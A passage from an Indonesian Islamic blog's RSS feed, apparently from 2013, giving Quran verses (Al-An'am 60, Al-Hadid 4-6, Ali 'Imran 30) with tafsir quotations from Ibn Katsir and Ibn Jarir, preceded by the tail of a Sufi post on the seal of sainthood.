Arab yang memiliki kemuliaan sejati. Saya kenal ditahun 595 H. Saya 
melihat tanda rahasia yang diperlihatkan oleh Allah Ta’ala pada saya 
dari kenyataan ubudiyahnya, dan saya lihat itu di kota Fes, sehingga 
saya melihatnya sebagai Khatamul Wilayah darinya. Dia adalah Khatamun 
Nubuwwah Mutlak, yang tidak diketahui banyak orang. Dan Allah telah 
mengujinya dengan keingkaran berbagai kalangan padanya, mengenai hakikat
 Allah dalam sirrnya.&lt;br /&gt;&lt;br /&gt;Sebagaimana Allah menutup Nubuwwah Syariat 
dengan Nabi Muhammad SAW, begitu juga Allah menutup Kewalian Muhammady, 
yang berhasil mewarisi Al-Muhammadiyah, bukan diwarisi dari para Nabi. 
Sebab para Wali itu ada yang mewarisi Ibrahim, Musa, dan Isa, maka 
mereka itu masih kita dapatkan setelah munculnya Khatamul 
Auliya'’Muhammady , dan setelah itu tidak ada lagi Wali pada Kalbu 
Muhammad SAW. Inilah arti dari Khatamul Wilayah al-Muhammadiyah. 
Sedangkan Khatamul Wilayah Umum, dimana tidak ada lagi Wali setelah itu,
 ada pada Isa Alaissalam. Dan kami menemukan sejumlah kalangan sebagai 
Wali pada Kalbu Isa As, dan sejumlah Wali yang berada dalam Kalbu para 
Rasul lainnya. &lt;/span&gt;&lt;/b&gt;&lt;br /&gt;


&lt;div class="zemanta-pixie" style="height: 15px; margin-top: 10px;"&gt;
&lt;a class="zemanta-pixie-a" href="http://www.zemanta.com/?px" title="Enhanced by Zemanta"&gt;&lt;img alt="Enhanced by Zemanta" class="zemanta-pixie-img" src="http://img.zemanta.com/zemified_e.png?x-id=eb646126-7e21-4db8-96d7-a2870a937b8c" style="border: none; float: right;" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;
</description><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><author>noreply@blogger.com (alifbraja)</author></item><item><title>Ayat-ayat Ma'rifatullah </title><link>http://alifbraja.blogspot.com/2013/08/ayat-ayat-marifatullah.html</link><pubDate>Wed, 7 Aug 2013 20:44:00 +0700</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-3583651196583340588.post-2752357552274698</guid><description>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;
&lt;span style="color: #cc0000;"&gt;&lt;b&gt;أشهد أن لا اله الا الله و أشهد أن محمدا رسول الله&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div align="center"&gt;
&lt;span style="color: #cc0000;"&gt;&lt;strong&gt;Al-Quran surat Al-An'am ayat 60&lt;/strong&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style="color: #cc0000;"&gt;&lt;b&gt;&lt;br /&gt;&lt;br /&gt;Allah berfirman di dalam kitab-Nya :&lt;br /&gt;&lt;span class="bbc_size" style="font-size: 14pt;"&gt;وَهُوَ الَّذِي يَتَوَفَّاكُم بِالَّيْلِ وَيَعْلَمُ مَاجَرَحْتُم بِالنَّهَارِ&lt;/span&gt; &lt;br /&gt;“Dan Dialah yang menidurkan kamu di malam hari dan Dia mengetahui apa yang kamu kerjakan di siang hari.”&lt;br /&gt;(Q.S Al-An’am ayat 60)&lt;br /&gt;&lt;br /&gt;Tentang ayat ini, Al-Hafizh ibnu Katsir rahimahullah mengatakan :&lt;br /&gt;&lt;span class="bbc_size" style="font-size: 14pt;"&gt;ويعلم
 ما كسبتم من الأعمال بالنهار, وهذه جملة معترضة دلت على إحاطة علمه تعالى 
بخلقه في ليلهم ونهارهم, في حال سكونهم وحال حركتهم, كما قال {سواء منكم من
 أسرّ القول ومن جهر به ومن هو مستخف بالليل وسارب بالنهار&lt;/span&gt;}&lt;br /&gt;“Allah
 Maha Mengetahui apa yang kamu kerjakan dari amal2 di siang hari, dan 
kalimat ini merupakan jumlatun-mu’taridhah yang menunjukan pengertian 
bahwa ilmu Allah itu meliputi semua makhluk-Nya baik pada malam hari 
maupun siang hari mereka, yakni di waktu mereka diam maupun saat mereka 
sedang bergerak, semuanya terliputi oleh ilmu Allah.&lt;br /&gt;Hal ini sebagaimana disebutkan oleh Allah dengan firman-Nya :&lt;br /&gt;“Sama
 saja (bagi Allah), siapa diantaramu yang merahasiakan ucapannya, dan 
siapa yang berterus-terang dengan ucapan itu, dan siapa yang bersembunyi
 di malam hari dan yang berjalan (menampakkan diri) di siang hari.”&lt;br /&gt;(Tafsir ibnu Katsir 3/267)&lt;br /&gt;&lt;br /&gt;Dan Nabi shallallaahu ‘alaihi wa sallam pernah bersabda :&lt;span class="bbc_size" style="font-size: 14pt;"&gt;&lt;br /&gt;فإن لم تكن تراه فإنه يراك&lt;/span&gt;“Jika kamu tidak melihat-Nya, maka sesungguhnya Allah melihatmu.”&lt;br /&gt;(Shahih Muslim 1/36 no.8)&lt;br /&gt;&lt;br /&gt;Adapun
 apa2 yang tidak terlepas dari pengetahuan Allah ini, diantaranya adalah
 apabila seorang hamba itu melakukan dosa, maka yakinlah bahwa saat itu 
Allah melihatnya dan mengetahuinya.&lt;br /&gt;Demikianlah yang dikatakan oleh Qatadah rahimahullah tentang ayat ini.&lt;br /&gt;Ibnu Jarir rahimahullah meriwayatkan :&lt;br /&gt;&lt;span class="bbc_size" style="font-size: 14pt;"&gt;حدثنا
 بشر بن معاذ قال ، حدثنا يزيد بن زريع قال ، حدثنا سعيد ، عن قتادة قوله :
 " وهو الذي يتوفاكم بالليل " ، يعني بذلك نومهم " ويعلم ما جرحتم بالنهار "
 ، أي : ما عملتم من ذنب فهو يعلمه ، لا يخفى عليه شيء من ذلك&lt;/span&gt;Telah menceritakan kepada kami Bisyr bin Mu’adz&lt;sup&gt;&lt;span class="bbc_color"&gt;&lt;strong&gt;(1)&lt;/strong&gt;&lt;/span&gt;&lt;/sup&gt;, ia berkata : “Telah menceritakan kepada kami Yazid bin Zurai’&lt;sup&gt;&lt;span class="bbc_color"&gt;&lt;strong&gt;(2)&lt;/strong&gt;&lt;/span&gt;&lt;/sup&gt;, ia berkata : “Telah menceritakan kepada kami Sa’id&lt;sup&gt;&lt;span class="bbc_color"&gt;&lt;strong&gt;(3)&lt;/strong&gt;&lt;/span&gt;&lt;/sup&gt; dari Qatadah&lt;sup&gt;&lt;span class="bbc_color"&gt;&lt;strong&gt;(4)&lt;/strong&gt;&lt;/span&gt;&lt;/sup&gt;
 tentang firman Allah : ………..dan Dia mengetahui apa yang kamu kerjakan 
di siang hari.” Yaitu bahwa apa2 yang kamu lakukan dari hal dosa, maka 
Allah mengetahuinya. Tidaklah tersembunyi bagi-Nya sedikitpun dari 
perbuatan dosa tersebut.”&lt;br /&gt;(Jami’ul-Bayan fi Ta’wil Al-Quran 11/406)&lt;br /&gt;&lt;br /&gt;Ah, apakah diri ini tidak merasa malu, saat hendak bermaksiat sedangkan saat itu Allah sedang melihatnya?&lt;br /&gt;Padahal Nabi shallallaahu ‘alaihi wa sallam juga pernah bersabda :&lt;span class="bbc_size" style="font-size: 14pt;"&gt;&lt;br /&gt;إِذَا لَمْ تَسْتَحْيِ فَاصْنَعْ مَا شِئْتَ&lt;/span&gt;“Jika kamu tidak merasa malu, maka berbuatlah sesuka hatimu.”&lt;br /&gt;(Shahih Al-Bukhari 8/29 no.6120)&lt;br /&gt;&lt;br /&gt;Dan
 demikian pula dengan amal kebaikan yang kita lakukan, meski sekecil 
apapun, meski setersembunyi apapun, maka yakinlah bahwa saat itu Allah 
melihatnya. &lt;br /&gt;Allah berfirman :&lt;br /&gt;“Dan kebaikan apa saja yang kamu 
usahakan bagi dirimu, tentu kamu akan mendapat pahalanya pada sisi 
Allah. Sesungguhnya Alah Maha Melihat apa-apa yang kamu kerjakan.”&lt;br /&gt;(Q.S Al-Baqarah ayat 110)&lt;br /&gt;&lt;br /&gt;Dan Allah adalah sebaik-baik yang melihat dan se-baik2 yang memberikan balasan.&lt;br /&gt;Maka, sesudah Allah, sungguh tidak penting lagi apakah manusia melihatnya ataupun tidak. &lt;br /&gt;&lt;br /&gt;Pada akhirnya, Al-Hafizh ibnu Katsir rahimahullah mengatakan :&lt;span class="bbc_size" style="font-size: 14pt;"&gt;&lt;br /&gt;أنه تعالى لا يغفل عن عمل عامل ، ولا يضيع لديه ، سواء كان خيرا أو شرا ، فإنه سيجازي كل عامل بعمله&lt;/span&gt;“Allah
 sedikitpun tidak akan melupakan amal perbuatan dari orang2 yang 
beramal, dan amal tersebut tidak akan pernah hilang dari sisinya, sama 
saja baik itu amal kebaikan maupun amal keburukan dan sesungguhnya Dia 
akan memberikan balasan kepada setiap orang yang beramal sesuai dengan 
amal perbuatannya.”&lt;br /&gt;(Tafsir ibnu Katsir 1/384).&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: #cc0000;"&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/span&gt;
&lt;div align="center"&gt;
&lt;span style="color: #cc0000;"&gt;&lt;strong&gt;Al-Quran surat Al-Hadid ayat 4 sampai dengan ayat 6&lt;/strong&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style="color: #cc0000;"&gt;&lt;strong&gt;&lt;br /&gt;&lt;br /&gt;Allah berfirman dalam Al-Quran surat Al-Hadid :&lt;span class="bbc_size" style="font-size: 14pt;"&gt;&lt;br /&gt;(4)
 هُوَ الَّذِي خَلَقَ السَّمَاوَاتِ وَاْلأَرْضَ فِي سِتَّةِ أَيَّامٍ 
ثُمَّ اسْتَوَى عَلَى الْعَرْشِ يَعْلَمُ مَايَلِجُ فِي اْلأَرْضِ 
وَمَايَخْرُجُ مِنْهَا وَمَايَنزِلُ مِنَ السَّمَآءِ وَمَايَعْرُجُ فِيهَا 
وَهُوَ مَعَكُمْ أَيْنَ مَاكُنتُمْ وَاللهُ بِمَاتَعْمَلُونَ بَصِيرٌ&lt;br /&gt;(5)&amp;nbsp; لَهُ مُلْكُ السَّمَاوَاتِ وَاْلأَرْضِ وَإِلَى اللهِ تُرْجَعُ اْلأُمُورُ&lt;br /&gt;(6) يُولِجُ الَّيْلَ فِي النَّهَارِ وَيُولِجُ النَّهَارَ فِي الَّيْلِ وَهُوَ عَلِيمٌ بِذَاتِ الصُّدُورِ&lt;/span&gt;“Dialah
 yang menciptakan langit dan bumi dalam enam masa. Kemudian Dia istiwa 
di atas ´arsy. Dia mengetahui apa yang masuk ke dalam bumi dan apa yang 
keluar daripadanya dan apa yang turun dari langit dan apa yang naik 
kepada-Nya. Dan Dia bersama kamu di mana saja kamu berada. Dan Allah 
Maha Melihat apa yang kamu kerjakan (ayat 4).&lt;br /&gt;Kepunyaan-Nya-lah kerajaan langit dan bumi. Dan kepada Allah-lah dikembalikan segala urusan (ayat 5).&lt;br /&gt;Dialah yang memasukkan malam ke dalam siang dan memasukkan siang ke dalam malam. &lt;br /&gt;Dan Dia Maha Mengetahui segala isi hati (ayat 6).”&lt;br /&gt;(Q.S Al-Hadid ayat 4-6)&lt;br /&gt;&lt;br /&gt;Adapun tentang firman Allah :&lt;br /&gt;“Dialah yang menciptakan langit dan bumi dalam enam masa. Kemudian Dia istiwa di atas ´Arsy..” (Q.S Al-Hadid ayat 4)&lt;br /&gt;&lt;br /&gt;Maka Qutaibah bin Sa’id rahimahullah mengatakan :&lt;br /&gt;ويعرف
 الله في السماء السابعة على عرشه كما قال : ( الرحمن على العرش استوى ، له
 ما في السموات وما في الأرض وما بينهما وما تحت الثرى&lt;br /&gt;“Dan mengetahui 
Allah itu ada di atas langit yang tujuh, di atas ‘Arsy-Nya sebagaimana 
Dia firmankan : “Arrahmaanu ‘alal-‘Arsys-tawaa, lahuu maa fis-samaawati 
wa maa fil-‘Ardi wa maa bainahumaa wa maa tahtats-tsaraa." &lt;br /&gt;(Syi’ar Ash-hab Al-Hadits 1/17)&lt;br /&gt;&lt;br /&gt;Abu Zur’ah rahimahullah dan Abu Hatim rahimahullah mengatakan :&lt;br /&gt;وأن
 الله عز وجل على عرشه بائن من خلقه كما وصف نفسه في كتابه وعلى لسان رسول 
صلى الله عليه وسلم بلا كيف أحاط بكل شيء علما ليس كمثله شيء وهو السميع 
البصير&lt;br /&gt;"Dan bahwa Allah 'Azza wa Jalla berada di atas ‘Arsy-Nya, 
terpisah dari makhluk-Nya, sebagaimana Dia sifati sendiri di dalam 
kitab-Nya dan melalui lisan Rasul-Nya shallallaahu 'alaihi wa sallam, 
tanpa kaif (bagaimana). &lt;br /&gt;Ilmu-Nya meliputi segala sesuatu. Tidak ada sesuatupun yang serupa dengan-Nya dan Dia Maha Mendengar lagi Maha Melihat."&lt;br /&gt;(Syarh Ushulil-I'tiqad Ahlis-Sunnah, 1/198)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Dan tentang firman Allah :&lt;br /&gt;“Dia
 mengetahui apa yang masuk ke dalam bumi dan apa yang keluar daripadanya
 dan apa yang turun dari langit dan apa yang naik kepada-Nya.” (Q.S 
Al-Hadid ayat 4)&lt;br /&gt;&lt;br /&gt;Maka, Al-Hafizh Ibnu Katsir rahimahullah mengatakan :&lt;br /&gt;وقوله تعالى: {يعلم ما يلج في الأرض} أي يعلم عدد ما يدخل فيها من حب وقطر {وما يخرج منها} من نبات وزرع وثمار)&lt;br /&gt;“Firman
 Allah Ta’ala : “Dia mengetahui apa yang masuk ke dalam bumi”, yakni 
Allah mengetahui jumlah biji-bijian dan tetesan air yang masuk kedalam 
bumi, “Dan apa yang keluar daripadanya” berupa tumbuh-tumbuhan, 
tanam-tanaman dan buah-buahan.”&lt;br /&gt;&lt;br /&gt;{وما ينزل من السماء} أي من الأمطار. والثلوج والبرد والأقدار. والأحكام مع الملائكة الكرام&lt;br /&gt;“Dan
 apa yang turun dari langit”, yaitu berupa hujan, salju, air embun, 
taqdir2 dan hukum2 yang turun disertai para malaikat yang mulia.&lt;br /&gt;&lt;br /&gt;{وما يعرج فيها} أي من الملائكة والأعمال كما جاء في الصحيح «يرفع إليه عمل الليل قبل النهار وعمل النهار قبل الليل»&lt;br /&gt;“Dan
 apa yang naik kepada-Nya.”, yakni para malaikat dan amal perbuatan, 
sebagaimana kabar tentang hal ini datang dalam hadits yang shahih : 
“Diangkat kepada-Nya amal perbuatan di waktu malam sebelum datang siang 
hari, dan amal perbuatan di siang hari, sebelum datangnya malam.” &lt;sup&gt;&lt;span class="bbc_color"&gt;&lt;strong&gt;(1)&lt;/strong&gt;&lt;/span&gt;&lt;/sup&gt;&lt;br /&gt;(Tafsir ibnu Katsir 8/10)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Kemudian tentang firman Allah :&lt;br /&gt;“Dan Dia bersama kamu di mana saja kamu berada. Dan Allah Maha Melihat apa yang kamu kerjakan.” (Q.S Al-Hadid ayat 4)&lt;br /&gt;&lt;br /&gt;Maka Ibnu Jarir rahimahullah mengatakan :&lt;br /&gt;وهو شاهد لكم أيها الناس أينما كنتم يعلمكم ، ويعلم أعمالكم ، ومتقلبكم ومثواكم ، وهو على عرشه فوق سمواته السبع&lt;br /&gt;“Bahwa
 Dia menyaksikan kalian semua, wahai manusia, di manapun kalian berada, 
maka Allah mengetahuinya, dan Dia juga mengetahui perbuatan-perbuatanmu,
 sedangkan Dia berada di atas ‘Arsy-Nya, di atas langit-Nya yang tujuh.”&lt;br /&gt;(Jami’ul-Bayan 23/169)&lt;br /&gt;&lt;br /&gt;Al-Hafizh ibnu Katsir rahimahullah mengatakan :&lt;br /&gt;أي
 رقيب عليكم شهيد على أعمالكم حيث كنتم وأين كنتم براً أو بحراً, في ليل أو
 نهار في البيوت أو القفار, الجميع في علمه على السواء وتحت بصره وسمعه 
فيسمع كلامكم ويرى مكانكم, ويعلم سركم ونجواكم&lt;br /&gt;“Yakni Allah senantiasa 
mengawasi kalian, menyaksikan amal perbuatan kalian, bagaimanapun 
keadaan kalian dan di manapun kalian berada, di darat ataupun di lautan,
 di siang ataupun di malam hari, di rumah ataupun di padang pasir.&lt;br /&gt;Semua itu ada dalam pengetahuan, penglihatan serta pendengaran Allah.&lt;br /&gt;Dia
 mendengar ucapan2 kalian, Dia melihat tempat2 kalian, Dia mengetahui 
apa yang kalian sembunyikan dan Dia mengetahui rahasia2 kalian.”&lt;br /&gt;(Tafsir ibnu Katsir 8/10)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Dan tentang firman Allah :&lt;br /&gt;“Kepunyaan-Nya-lah kerajaan langit dan bumi. Dan kepada Allah-lah dikembalikan segala urusan.” (Q.S Al-Hadid ayat 5)&lt;br /&gt;&lt;br /&gt;Maka Al-Hafizh ibnu Katsir rahimahullah mengatakan :&lt;br /&gt;هو
 المالك للدنيا والاَخرة كما قال تعالى: {وإن لنا للاَخرة والأولى} وهو 
المحمود على ذلك كما قال تعالى: {وهو الله لا إله إلا هو له الحمد في 
الأولى والاَخرة} وقال تعالى: {الحمد لله له ما في السموات وما في الأرض 
وله الحمد في الاَخرة وهو الحكيم الخبير}, فجميع ما في السموات والأرض ملك 
له, وأهلهما عبيد أرقاء أذلاء بين يديه كما قال تعالى: {إن كل من في 
السموات والأرض إلا آت الرحمن عبداً لقد أحصاهم وعدهم عداً وكلهم آتيه يوم 
القيامة فرداً} ولهذا قال: {وإلى الله ترجع الأمور} أي إليه المرجع يوم 
القيامة فيحكم في خلقه بما يشاء وهو العادل الذي لا يجور ولا يظلم مثقال 
ذرة بل إن يكن عمل أحدهم حسنة واحدة يضاعفها إلى عشرة أمثالها&lt;br /&gt;“Dia-lah yang memiliki dunia dan akhirat sebagaimana firman-Nya : “dan sesungguhnya kepunyaan Kamilah akhirat dan dunia”&lt;sup&gt;&lt;span class="bbc_color"&gt;&lt;strong&gt;(2)&lt;/strong&gt;&lt;/span&gt;&lt;/sup&gt;,
 dan Dia-lah yang Maha terpuji atas semua itu sebagaimana firman-Nya : 
“Dan Dialah Allah, tidak ada Tuhan (yang berhak disembah) melainkan Dia,
 bagi-Nyalah segala puji di dunia dan di akhirat”&lt;sup&gt;&lt;span class="bbc_color"&gt;&lt;strong&gt;(3)&lt;/strong&gt;&lt;/span&gt;&lt;/sup&gt;,
 dan juga sebagaimana firman-Nya : “Segala puji bagi Allah yang memiliki
 apa yang di langit dan apa yang di bumi dan bagi-Nya (pula) segala puji
 di akhirat. Dan Dia-lah Yang Maha Bijaksana lagi Maha Mengetahui”&lt;sup&gt;&lt;span class="bbc_color"&gt;&lt;strong&gt;(4)&lt;/strong&gt;&lt;/span&gt;&lt;/sup&gt;, dan semua yang ada di langit dan bumi adalah milik-Nya dan dikuasai oleh-Nya.&lt;br /&gt;Sedangkan
 para penghuni keduanya adalah hamba2-Nya yang rendah di hadapan-Nya 
sebagaimana firman-Nya : “Tidak ada seorangpun di langit dan di bumi, 
kecuali akan datang kepada Tuhan Yang Maha Pemurah selaku seorang hamba.
 Sesungguhnya Allah telah menentukan jumlah mereka dan menghitung mereka
 dengan hitungan yang teliti. Dan tiap-tiap mereka akan datang kepada 
Allah pada hari kiamat dengan sendiri-sendiri.”&lt;sup&gt;&lt;span class="bbc_color"&gt;&lt;strong&gt;(5)&lt;/strong&gt;&lt;/span&gt;&lt;/sup&gt;,
 dan untuk itu, Allah berfirman : “Dan kepada Allah-lah dikembalikan 
segala urusan.”, yaitu hanya kepada-Nya-lah tempat kembali pada hari 
kiamat kelak, dan Dia akan menghukumi diantara makhluk2-Nya sesuai 
dengan kehendak-Nya.&lt;br /&gt;Dan Dia adalah Yang Maha Adil yang tidak akan berbuat kepalsuan dan ke-zhaliman walaupun hanya sebesar zarrah.&lt;br /&gt;Bahkan,
 jika ada amal yang baik yang dilakukan oleh salah seorang hamba2-Nya, 
maka Dia akan melipat gandakan sampai sepuluh kali lipatnya.”&lt;br /&gt;(Tafsir ibnu Katsir 8/11)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Sedangkan tentang firman Allah :&lt;br /&gt;“Dialah yang memasukkan malam ke dalam siang dan memasukkan siang ke dalam malam.“ (Q.S Al-Hadid ayat 6)&lt;br /&gt;&lt;br /&gt;Maka Al-Hafizh ibnu Katsir rahimahullah mengatakan :&lt;br /&gt;يقلب
 الليل والنهار ويقدرهما بحكمته كما يشاء, فتارة يطول الليل ويقصر النهار 
وتارة بالعكس, وتارة يتركهما معتدلين, وتارة يكون الفصل شتاءً ثم ربيعاً ثم
 قيظاً ثم خريفاً, وكل ذلك بحكمته وتقديره لما يريده بخلقه&lt;br /&gt;“Dia membolak-balikan siang dan malam dan memberikan ketetapan pada keduanya berdasarkan hikmah-Nya sebagaimana Dia kehendaki.&lt;br /&gt;Adakalanya Dia memperpanjang malam dan memperpendek siang, dan adakalanya sebaliknya, namun adakalanya juga seimbang.&lt;br /&gt;Adakalanya
 memberikan musim dingin, musim panas, musim semi dan adakalanya musim 
gugur. Semua itu berdasarkan hikmah dan ketentuan-Nya sebagaimana yang 
Dia kehendaki kepada makhluk2-Nya.”&lt;br /&gt;(Tafsir ibnu Katsir 8/11)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Dan tentang firman Allah :&lt;br /&gt;“Dan Dia Maha Mengetahui segala isi hati.” (Q.S Al-Hadid ayat 6)&lt;br /&gt;&lt;br /&gt;Maka Ibnu Jarir rahimahullah mengatakan :&lt;br /&gt;وهو ذو علم بضمائر صدور عباده ، وما عزمت عليه نفوسهم من خير أو شرّ ، أو حدّثت بهما أنفسهم ، لا يخفى عليه من ذلك خافية&lt;br /&gt;“Dia-lah
 Yang Mengetahui terhadap apa2 yang tersembunyi di dalam hati 
hamba2-Nya, dan (Dia Mengetahui pula) apa2 yang di tekadkan di dalam 
hati mereka dari hal kebaikan ataupun keburukan, ataupun pembicaraan 
yang baik dan buruk yang ada dalam diri mereka. &lt;br /&gt;Tidak ada satupun yang tersembunyi bagi Allah dari semua hal tesebut.”&lt;br /&gt;(Jami’ul-Bayan 23/171)&lt;br /&gt;&lt;br /&gt;Imam Al-Baghawi rahimahullah mengatakan :&lt;br /&gt;بما في القلوب من خير وشر&lt;br /&gt;“(Yakni sesungguhnya Allah mengetahui) apa2 yang ada dalam hati manusia, dari hal kebaikan dan keburukannya.”&lt;br /&gt;(Tafsir Al-Baghawi 3/27)&lt;br /&gt;&lt;br /&gt;Dan pada akhirnya……….&lt;br /&gt;Imam Ahmad rahimahullah, sebagaimana dikutipkan oleh Al-Hafizh ibnu Katsir rahimahulah, pernah mengatakan :&lt;br /&gt;إذا ما خلوت الدهر يوماً فلا تقل خلوت ولكن قل علي رقيب ولا تحسبن الله يغفل ساعة ولا أن ما تخفي عليه يغيب&lt;br /&gt;“Apabila
 suatu hari, engkau sedang sendiri, maka janganlah engkau katakan : “Aku
 sedang sendirian.” Tapi katakanlah : “Aku ada yang mengawasi.”&lt;br /&gt;Dan 
janganlah engkau mengira kalau Allah itu akan lengah walau hanya sesaat,
 dan jangan pula sekali-kali engkau mengira bahwa apa yang engkau 
sembunyikan itu tersembunyi pula bagi Allah.”&lt;br /&gt;(Tafsir ibnu Katsir 8/11)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="bbc_u"&gt;&lt;strong&gt;Note :&lt;/strong&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="bbc_color"&gt;&lt;strong&gt;(1)&lt;/strong&gt;&lt;/span&gt; Diantaranya hadits ini terdapat dalam Shahih Muslim (1/161 no.179) dengan lafazh yang sedikit berbeda :&lt;br /&gt;حدثنا
 أبو بكر بن أبي شيبة وأبو كريب قالا حدثنا أبو معاوية حدثنا الأعمش عن 
عمرو بن مرة عن أبي عبيدة عن أبي موسى قال قام فينا رسول الله صلى الله 
عليه و سلم بخمس كلمات &lt;br /&gt;فقال إن الله عز و جل لا ينام ولا ينبغي له أن ينام يخفض القسط ويرفعه يرفع إليه عمل الليل قبل عمل النهار وعمل النهار قبل عمل الليل&lt;br /&gt;Telah
 menceritakan kepada kami Abu Bakar bin Abi Syaibah dan Abu Kuraib, 
mereka berdua mengatakan : “Telah menceritakan kepada kami Abu 
Mu’awiyah, telah menceritakan kepada kami Al-A’masy dari ‘Amru bin 
Murrah dari Abu Ubaidah dari Abu Musa radhiyallaahu ‘anhu, ia berkata : 
“Rasulullah shallallaahu ‘alaihi wa sallam berdiri untuk menerangkan 5 
perkara kepada kami, beliau bersabda :&lt;br /&gt;“Sesungguhnya Allah ‘Azza wa 
Jalla tidaklah pernah tidur dan tidak ada bagi-Nya tidur. Dia 
merendahkan dan meninggikan timbangan.&lt;br /&gt;Diangkat kepada-Nya amal di 
malam hari sebelum datangnya amal di siang hari, dan diangkat kepada-Nya
 amal di siang hari sebelum datangnya amal di malam hari...…”&lt;br /&gt;&lt;span class="bbc_color"&gt;&lt;strong&gt;(2)&lt;/strong&gt;&lt;/span&gt; Al-Quran Surat Al-Lail ayat 13&lt;br /&gt;&lt;span class="bbc_color"&gt;&lt;strong&gt;(3)&lt;/strong&gt;&lt;/span&gt; Al-Quran Surat Al-Qashash ayat 70&lt;br /&gt;&lt;span class="bbc_color"&gt;&lt;strong&gt;(4)&lt;/strong&gt;&lt;/span&gt; Al-Quran Surat Saba’ ayat 1&lt;br /&gt;&lt;span class="bbc_color"&gt;&lt;strong&gt;(5)&lt;/strong&gt;&lt;/span&gt; Al-Quran Surat Maryam ayat 93-95&lt;/strong&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div align="center"&gt;
&lt;span style="color: #cc0000;"&gt;&lt;strong&gt;Al-Quran surat Ali ‘Imran ayat 30&lt;/strong&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style="color: #cc0000;"&gt;&lt;strong&gt;&lt;br /&gt;&lt;br /&gt;Allah berfirman :&lt;span class="bbc_size" style="font-size: 14pt;"&gt;&lt;br /&gt;وَيُحَذِّرُكُمُ اللهُ نَفْسَهُ وَاللهُ رَءُوفُُ بِالْعِبَادِ &lt;/span&gt;“…dan Allah memperingatkan kalian terhadap diri-Nya. Dan Allah sangat Penyayang kepada hamba-hamba-Nya.”&lt;br /&gt;(Q.S Ali ‘Imran ayat 30)&lt;br /&gt;&lt;br /&gt;Tentang firman Allah :&lt;br /&gt;“dan Allah memperingatkan kalian terhadap diri-Nya.”&lt;br /&gt;&lt;br /&gt;Yaitu
 bahwa Allah memperingatkan semua hamba2-Nya terhadap siksaan dari-Nya 
apabila Dia ditentang di dalam perintah2-Nya, dan siksaan Allah ini 
benar2 akan menimpa kepada musuh2-Nya, kepada orang2 yang berpihak 
kepada musuh-Nya dan kepada orang2 yang memusuhi kekasih2-Nya.&lt;br /&gt;Demikianlah yang dikatakan oleh Al-Hafizh ibnu Katsir rahimahullah. &lt;br /&gt;Beliau mengatakan :&lt;br /&gt;أي يحذركم نقمته في مخالفته وسطوته وعذابه لمن والى أعداءه, وعادى أولياءه&lt;br /&gt;“(Allah
 memperingatkan kalian terhadap diri-Nya) yakni bahwa Allah 
memperingatkan kalian tentang pembalasan-Nya terhadap orang2 yang 
menentang-Nya dan adzab-Nya akan Dia timpakan kepada orang2 yang 
berpihak kepada musuh2-Nya dan juga kepada musuh kekasih2-Nya.”&lt;br /&gt;(Tafsir ibnu Katsir 2/31)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Adapun tentang firman Allah :&lt;br /&gt;“Dan Allah sangat Penyayang kepada hamba-hamba-Nya.”&lt;br /&gt;&lt;br /&gt;Maka Ibnu Jarir rahimahullah mengatakan :&lt;br /&gt;ثم
 أخبر عز وجل أنه رءوف بعباده رحيمٌ بهم ، وأنّ من رأفته بهم : تحذيرُه 
إياهم نفسه ، وتخويفهم عقوبته ، ونهيه إياهم عما نهاهم عنه من معاصيه&lt;br /&gt;“Kemudian
 Allah ‘Azza wa Jalla mengabarkan bahwa Dia Mengasihi hamba2-Nya dan 
Menyayangi mereka. Sedangkan diantara kasih sayang Allah kepada 
hamba2-Nya itu ialah Dia memperingatkan mereka kepada siksa-Nya, 
memperingatkan mereka kepada hukuman dari-Nya, dan juga melarang mereka 
dari kemaksiatan.”&lt;br /&gt;(Jami’ul-Bayan 6/321)&lt;br /&gt;&lt;br /&gt;Dan dikatakan pula 
bahwa Allah menyayangi hamba2-Nya yang istiqamah dalam menempuh 
jalan-Nya yang lurus, menetapi agama-Nya yang haq dan mengikuti 
Rasul-Nya yang mulia.&lt;br /&gt;Al-Hafizh ibnu Katsir rahimahullah mengatakan :&lt;br /&gt;وقال غيره: أي رحيم بخلقه يحب لهم أن يستقيموا على صراطه المستقيم ودينه القويم وأن يتبعوا رسوله الكريم.&lt;br /&gt;“Adapun
 yang lainnya mengatakan : “Yaitu Allah Menyayangi makhluk2-Nya, 
mencintai mereka, bila mereka tetap istiqamah pada jalan-Nya yang lurus 
dan kepada agama-Nya yang haq serta mereka mengikuti Rasul-Nya yang 
mulia.”&lt;br /&gt;(Tafsir ibnu Katsir 2/32)&lt;br /&gt;&lt;br /&gt;Dan juga disebutkan dalam 
satu hadits yang shahih bahwa kasih sayang Allah itu akan Dia berikan 
kepada orang2 yang memiliki sifat yang penyayang.&lt;br /&gt;Nabi shallallaahu ‘alaihi ‘alaihi wa sallam bersabda :&lt;br /&gt;وَإِنَّمَا يَرْحَمُ اللَّهُ مِنْ عِبَادِهِ الرُّحَمَاءَ&lt;br /&gt;“Hanyalah Allah itu menyayangi hamba2-Nya yang penyayang.”&lt;br /&gt;(Shahih Al-Bukhari 9/115 no.7377)&lt;br /&gt;&lt;br /&gt;Dan,
 sebaliknya, Allah tidak akan menyayangi orang2 yang tidak memiliki 
kasih sayang kepada manusia lainnya sebagaimana sabda Nabi shallallahu 
